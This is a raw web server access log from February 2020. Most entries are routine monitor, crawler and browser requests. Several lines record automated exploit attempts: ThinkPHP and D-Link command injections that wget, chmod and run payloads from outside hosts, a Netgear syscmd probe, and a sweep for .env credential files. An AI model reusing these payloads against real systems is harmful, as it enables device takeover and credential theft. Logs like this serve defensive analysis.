62.74.67.117 - - [22/Feb/2020:13:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:13:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [22/Feb/2020:13:50:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:13:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.132.188.157 - - [22/Feb/2020:13:53:20 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [22/Feb/2020:13:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [22/Feb/2020:13:56:57 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [22/Feb/2020:13:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:13:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.172.170.111 - - [22/Feb/2020:14:04:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:14:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.254.148 - - [22/Feb/2020:14:05:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.209.177.16 - - [22/Feb/2020:14:05:36 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "netEstate NE Crawler (+http://www.website-datenbank.de/)"
81.209.177.16 - - [22/Feb/2020:14:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "netEstate NE Crawler (+http://www.website-datenbank.de/)"
138.201.30.176 - - [22/Feb/2020:14:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "netEstate NE Crawler (+http://www.website-datenbank.de/)"
212.91.246.72 - - [22/Feb/2020:14:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.52.214.181 - - [22/Feb/2020:14:08:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:14:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.196.35.98 - - [22/Feb/2020:14:13:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:14:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [22/Feb/2020:14:14:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:14:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.75.13.237 - - [22/Feb/2020:14:19:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:14:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [22/Feb/2020:14:21:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [22/Feb/2020:14:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.14.185.226 - - [22/Feb/2020:14:24:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:14:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.212.90.65 - - [22/Feb/2020:14:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:14:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:40 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:41 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [22/Feb/2020:14:28:42 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [22/Feb/2020:14:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.227.155.52 - - [22/Feb/2020:14:30:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.206.53.161 - - [22/Feb/2020:14:30:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:14:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.168.34.186 - - [22/Feb/2020:14:33:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:14:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.102.72.229 - - [22/Feb/2020:14:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
61.219.11.153 - - [22/Feb/2020:14:48:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:14:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [22/Feb/2020:14:49:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [22/Feb/2020:14:49:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:14:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [22/Feb/2020:14:49:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:14:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:14:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:15:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
